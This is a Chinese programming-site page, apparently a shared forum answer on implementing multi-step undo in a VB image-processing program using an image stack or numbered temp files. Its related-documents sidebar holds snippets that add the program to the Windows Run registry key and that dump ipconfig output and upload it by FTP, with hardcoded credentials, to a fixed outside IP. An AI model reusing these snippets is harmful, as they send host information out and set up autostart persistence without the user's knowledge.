易截截图软件、单文件、免安装、纯绿色、仅160KB

VB图像处理多次undo如何实现

做毕业论文的时候遇到的一个问题,请教豆瓣上的网友才有了答案。谢谢这位叫“异彩”的朋友。拿出来与大家分享。
  用VB做图像处理软件的毕业论文,遇到一个问题。加载一幅图片,用多个滤镜分别处理,想一步一步UNDO到最原始的图像,多次UNDO怎么实现?
 
 
参考方案:
 
如果想做到多次UNDO的话, 无疑是需要记录操作的每次步骤. 具体有两种形式:
  
  1, 在程序内存中存贮:
   在程序中建立栈(不知道你学过没学过栈, 如果没有的话可直接理解为数组), 栈满足了后进先出(LIFO)的的规则.
   在每次进行对图像的操作时, 都将上一幅图像备份(注意是深层备份, 如果是浅表引用的话是起不到效果的)到到这个栈中. 这样, 当执行UNDO时, 就可以从栈里面提取一个上一次保存的图像, 替代当前图像(并删除这个备份), 知道这个栈为空. 实现了多次UNDO.
   这种方法的特点是处理数度比较快, 但是也非常消耗内存.
  
  2. 在文件中存储:
   同样是备份每个操作前的图像,但这次是存储到硬盘上, 这需要你以一定的文件名规范(xxx_temp_1.jpg, xxx_temp_2.jpg依次等等)去防止重名的情况. 同样在UNDO的时候, 去加载上一个编号的文件, 并删除之, 这样也实现了多次UNDO.
  
   这种方法的特点自然是消耗内存少, 但是undo的处理速度没有前者快.
  
  3. 两种方法结合.
   略...
  
 


相关文档:

如何用VB写安全控件

总述
本文叙述了如何在VB中实现控件的IobjectSafety接口,以标志该控件是脚本安全和初始化安全的。VB控件默认的处理方式是在注册表中注册组件类来标识其安全性,但实现IobjectSafety接口是更好的方法。本言语包括了实现过程中所需的所有代码。
请注意,控件只有确确实实是安全的,才能被标识为“安全的”。本 ......

VB写注册表启动项


    Private Sub Form_Load()
        Set w = CreateObject("wscript.shell")
        w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EX ......

VB实现文件上传到FTP服务器

ftp.txt文件内容为:
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为:
Private Sub Command1_Click()
    Shell "cmd.exe /c ipconfig >ip.jpg"
    Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......

VB中的转换函数

Asc 函数
     
返回一个 Integer,代表字符串中首字母的字符代码。
语法:
Asc(string)
必要的 string 参数可以是任何有效的字符串表达式。如果 string 中没有包含任何字符,则会产生运行时错误。
说明:在非 DBCS 系统下,返回值范围为 0 – 255 。在 DBCS 系统下,则为 -32768 &ndas ......

VB检查合法IP地址

Public Function IsValidIPAddress(ByVal strIPAddress As String) As Boolean
    On Error GoTo Handler
    Dim varAddress As Variant, n As Long, lCount As Long
    varAddress = Split(strIPAddress, ".", , vbTextCompare)
    If IsArray(varAd ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号